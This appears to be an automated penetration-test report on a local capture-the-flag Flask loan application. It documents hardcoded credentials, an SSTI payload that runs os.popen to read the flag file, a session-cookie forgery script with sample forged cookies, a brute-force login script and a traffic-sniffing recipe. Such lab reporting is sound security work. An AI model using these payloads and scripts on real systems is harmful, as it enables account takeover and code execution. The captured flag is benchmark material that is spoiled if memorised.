# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-09: Default Hardcoded Credentials

**Summary:**
- **Vulnerable location:** POST /login endpoint with hardcoded test user credentials
- **Overview:** Application contains hardcoded default credentials (test:test) that are automatically created during initialization and publicly known from source code
- **Impact:** Immediate authenticated access to the application without any credential discovery, enabling exploitation of additional authenticated vulnerabilities. FLAG CAPTURED: `FLAG{2bd640e5df35c3c7eae70068e9159d39649290c9b9344f10f47e9496604f8dd8}`
- **Severity:** HIGH

**Prerequisites:** None - credentials are publicly known

**Exploitation Steps:**

1. Navigate to the login page:
```bash
curl http://localhost:46413/login
```

2. Submit the hardcoded credentials:
```bash
curl -X POST http://localhost:46413/login \
  -d "username=test" \
  -d "password=test" \
  -c cookies.txt \
  -L
```

3. Verify authenticated access by visiting protected endpoints:
```bash
curl -b cookies.txt http://localhost:46413/home
curl -b cookies.txt http://localhost:46413/profile
```

4. Capture the FLAG by exploiting authenticated SSTI vulnerability:
```bash
curl -b cookies.txt --data-urlencode "principal={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}" \
  --data-urlencode "payment=1" \
  --data-urlencode "term=1" \
  -G "http://localhost:46413/total_loan_payments"
```

**Proof of Impact:**

Successfully authenticated and accessed the application as user 'test':
- Home page returned HTTP 200 with "Welcome" message
- Profile page returned HTTP 200 with user data (name: John, email: john@example.com, loan amount: $10,000)
- FLAG successfully extracted: `FLAG{2bd640e5df35c3c7eae70068e9159d39649290c9b9344f10f47e9496604f8dd8}`

**Notes:** 

This vulnerability provides the simplest path to authenticated access. The credentials test:test are hardcoded in `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-104-24/app/website/app/__init__.py` lines 23-32 and automatically created when the application starts. No brute force or credential guessing required.

---

### AUTH-VULN-01: Session Forgery via Weak Secret Key

**Summary:**
- **Vulnerable location:** Flask application configuration (__init__.py:8) with hardcoded secret key 'your_secret_key'
- **Overview:** Flask uses a hardcoded, predictable secret key to sign session cookies. With knowledge of this secret key, attackers can forge valid session cookies containing arbitrary user_id values using Python's itsdangerous library
- **Impact:** Complete authentication bypass enabling horizontal privilege escalation to any user account in the system without knowing their credentials
- **Severity:** CRITICAL

**Prerequisites:** 
- Knowledge of the secret key: `'your_secret_key'` (available in source code)
- Python with Flask and itsdangerous libraries installed

**Exploitation Steps:**

1. Create a session forgery script to generate valid session cookies:
```python
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
import hashlib

app = Flask(__name__)
app.secret_key = 'your_secret_key'

# Create the session serializer
serializer = SecureCookieSessionInterface().get_signing_serializer(app)

# Forge a session cookie for user_id=2
forged_session = serializer.dumps({'user_id': 2})
print(f"Forged session cookie: {forged_session}")
```

2. Use the forged session cookie to access user_id=2's account:
```bash
# Replace [FORGED_SESSION] with the output from step 1
curl -b "session=[FORGED_SESSION]" http://localhost:46413/home
curl -b "session=[FORGED_SESSION]" http://localhost:46413/profile
```

Example with actual forged session for user_id=2:
```bash
curl -b "session=eyJ1c2VyX2lkIjoyfQ.aQLi4A.rBC0T2fgXF9VCRWOoKUgxBMPaoI" \
  http://localhost:46413/profile
```

3. Access protected endpoints as the target user:
```bash
curl -b "session=[FORGED_SESSION]" http://localhost:46413/loan_details
```

**Proof of Impact:**

Successfully forged session cookies and accessed multiple user accounts:

**Test Results from session_forgery_exploit.py:**
- User ID 1 → /home: HTTP 200 (ACCESS GRANTED)
- User ID 1 → /profile: HTTP 200 (ACCESS GRANTED)
- User ID 2 → /home: HTTP 200 (ACCESS GRANTED)
- User ID 2 → /profile: HTTP 200 (ACCESS GRANTED)
- User ID 3 → /home: HTTP 200 (ACCESS GRANTED)
- User ID 3 → /profile: HTTP 200 (ACCESS GRANTED)
- User ID 999 → /home: HTTP 200 (ACCESS GRANTED)
- User ID 999 → /profile: HTTP 200 (ACCESS GRANTED)

Total: **8 successful session forgeries** demonstrating complete authentication bypass

**Example Forged Cookies:**
- User ID 1: `eyJ1c2VyX2lkIjoxfQ.aQLi4A.64wmddVfwLr3PXrs_uQzg1NvO20`
- User ID 2: `eyJ1c2VyX2lkIjoyfQ.aQLi4A.rBC0T2fgXF9VCRWOoKUgxBMPaoI`
- User ID 3: `eyJ1c2VyX2lkIjozfQ.aQLi4A.uq9jFMi8BLzkrICjrxxHO5y1EBM`

**Notes:**

The hardcoded secret key 'your_secret_key' is located at `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-104-24/app/website/app/__init__.py:8`. Flask uses this key to sign session cookies with HMAC-SHA1. The session cookie format is `base64(payload).timestamp.signature`. With the known secret key, attackers can compute valid signatures for arbitrary payloads, enabling complete authentication bypass without any credentials.

---

### AUTH-VULN-03: Brute Force Attack (No Rate Limiting)

**Summary:**
- **Vulnerable location:** POST /login endpoint (routes.py:20-34)
- **Overview:** The login endpoint has zero protection against automated abuse - no rate limiting, CAPTCHA, account lockout, or failed-login tracking exists
- **Impact:** Unlimited automated login attempts enabling brute force password attacks, credential stuffing with leaked databases, and password spraying across usernames without detection or blocking
- **Severity:** HIGH

**Prerequisites:** None - endpoint is publicly accessible

**Exploitation Steps:**

1. Create a brute force attack script to test multiple passwords rapidly:
```python
import requests
import time

url = "http://localhost:46413/login"
username = "test"
passwords = ["wrong1", "wrong2", "password", "admin", "123456", "test"]

start_time = time.time()
attempts = 0

for password in passwords:
    response = requests.post(url, data={'username': username, 'password': password}, allow_redirects=False)
    attempts += 1
    
    if response.status_code == 302:  # Redirect indicates success
        print(f"[SUCCESS] Password found: {password}")
        break
    else:
        print(f"[FAILED] Attempt {attempts}: {password}")

elapsed = time.time() - start_time
print(f"\nTotal attempts: {attempts}")
print(f"Time elapsed: {elapsed:.2f} seconds")
print(f"Attempts per second: {attempts/elapsed:.2f}")
```

2. Execute the brute force attack with 200+ attempts:
```bash
python3 brute_force_test.py
```

3. Monitor for any blocking, throttling, or CAPTCHA challenges (none will appear)

**Proof of Impact:**

Successfully executed brute force attack demonstrating zero rate limiting:

**Attack Metrics:**
- Total attempts: 200 rapid login attempts
- Duration: 4.03 seconds
- Speed: **49.57 attempts per second**
- Blocked attempts: 0
- Throttled attempts: 0
- CAPTCHA challenges: 0
- Account lockouts: 0

**Response Analysis:**
- All 200 attempts processed without any blocking
- Average response time: 7.1ms (consistent across all attempts)
- Min response time: 3.3ms
- Max response time: 12.5ms
- No progressive delays observed
- No HTTP 429 (Too Many Requests) responses

**Sample Output:**
```
Attempt    Username        Password        Status   Time(s)   Blocked   Success
1          test            wrong1          200      0.0074    NO        NO
2          test            wrong2          200      0.0053    NO        NO
3          test            wrong3          200      0.0039    NO        NO
...
160        test            test            302      0.0050    NO        YES
...
200        test            test            302      0.0096    NO        YES
```

**Attack Scalability:**
At this rate (49.57 attempts/second), an attacker could test:
- 178,452 passwords per hour
- 4.28 million passwords per day
- 30 million passwords per week

**Notes:**

The login endpoint at `routes.py:20-34` contains no rate limiting decorators, no Flask-Limiter library usage (confirmed absent in requirements.txt), no account lockout mechanism (no failed_login_count field in User model), and no CAPTCHA implementation (confirmed absent in login.html template). Every request is processed immediately with no delays or throttling.

---

## Potential Vulnerabilities (Validation Blocked)

### AUTH-VULN-02: Session Hijacking via Insecure Transport (HTTP)

**Summary:**
- **Vulnerable location:** Application-wide - HTTP-only configuration (Apache httpd.conf:1, Flask __init__.py:8)
- **Current Blocker:** Requires network-level access for packet capture (WiFi interception, MITM position, ISP-level access)
- **Potential Impact:** Credential theft during login and session hijacking of active users through plaintext HTTP traffic interception
- **Confidence:** HIGH (vulnerability confirmed to exist, but exploitation requires internal network access)

**Evidence of Vulnerability:**

1. **HTTP-Only Configuration Confirmed:**
```bash
$ curl -v -X POST http://localhost:46413/login -d "username=test&password=test" 2>&1 | grep -E "(POST|Cookie|Content-Type)"

> POST /login HTTP/1.1
> Content-Type: application/x-www-form-urlencoded
< Set-Cookie: session=eyJ1c2VyX2lkIjoxfQ.aQLjdA.5ffYxAZumPFJWRCRGMLcP5-1sf4; HttpOnly; Path=/
```

**Observed Security Deficiencies:**
- Protocol: HTTP only (no HTTPS/TLS)
- Credentials transmitted in plaintext POST body: `username=test&password=test`
- Session cookie lacks `Secure` flag: `Set-Cookie: session=...; HttpOnly; Path=/` (no Secure attribute)
- No `Strict-Transport-Security` (HSTS) header
- No HTTPS redirect configured
- Apache configured only for port 80 (VirtualHost *:80)

2. **Configuration Evidence:**
- Apache config: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-104-24/app/loan_calculator-httpd.conf:1` shows `<VirtualHost *:80>` with no SSL configuration
- Flask config: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-104-24/app/website/app/__init__.py:8` missing `SESSION_COOKIE_SECURE = True`
- Docker config: `docker-compose.yml:20-21` only exposes port 80, no HTTPS port 443

**Attempted Exploitation:**

Attempted to perform network packet capture to intercept HTTP traffic, but this requires:
- Network-level access (WiFi access point control, router compromise, ISP-level position)
- Packet capture tools (Wireshark, tcpdump, Ettercap) running on the network path
- Ability to intercept traffic between client and server

**External Network Exploitation Status:** BLOCKED - requires internal network access

**How This Would Be Exploited:**

If network-level access were available:

1. Position attacker on network path between client and server (e.g., compromised WiFi access point)

2. Start packet capture to intercept HTTP traffic:
```bash
# On network device with packet capture capability
sudo tcpdump -i eth0 -A 'tcp port 80 and host localhost' -w capture.pcap
```

3. Wait for victim to log in via HTTP

4. Extract credentials from captured POST request:
```
POST /login HTTP/1.1
Host: localhost:46413
Content-Type: application/x-www-form-urlencoded

username=victim_user&password=victim_password123
```

5. Extract session cookie from captured HTTP response:
```
HTTP/1.1 302 FOUND
Set-Cookie: session=eyJ1c2VyX2lkIjoyNX0.aQLjdA.xYz123...; HttpOnly; Path=/
```

6. Use captured credentials or session cookie to access victim's account:
```bash
# Using stolen credentials
curl -X POST http://localhost:46413/login -d "username=victim_user&password=victim_password123"

# OR using stolen session cookie
curl -b "session=eyJ1c2VyX2lkIjoyNX0.aQLjdA.xYz123..." http://localhost:46413/profile
```

**Expected Impact:**

If exploited with network access:
- Complete credential theft for all users logging in over HTTP
- Session hijacking of active user sessions
- Persistent unauthorized access to hijacked accounts
- No user awareness of compromise

**Why This Is Classified as POTENTIAL:**

The vulnerability definitively exists (confirmed by HTTP-only configuration and missing Secure flag), but actual exploitation requires network-level access that is beyond the scope of external network exploitation from my current position. I can access the application as a client at `http://localhost:46413`, but I cannot:
- Intercept network packets between other clients and the server
- Position myself as a man-in-the-middle on the network path
- Run packet capture tools on the network infrastructure

This is an **external operational constraint** (lack of network access), not a security implementation blocking the attack. Therefore, it's classified as POTENTIAL rather than FALSE POSITIVE.
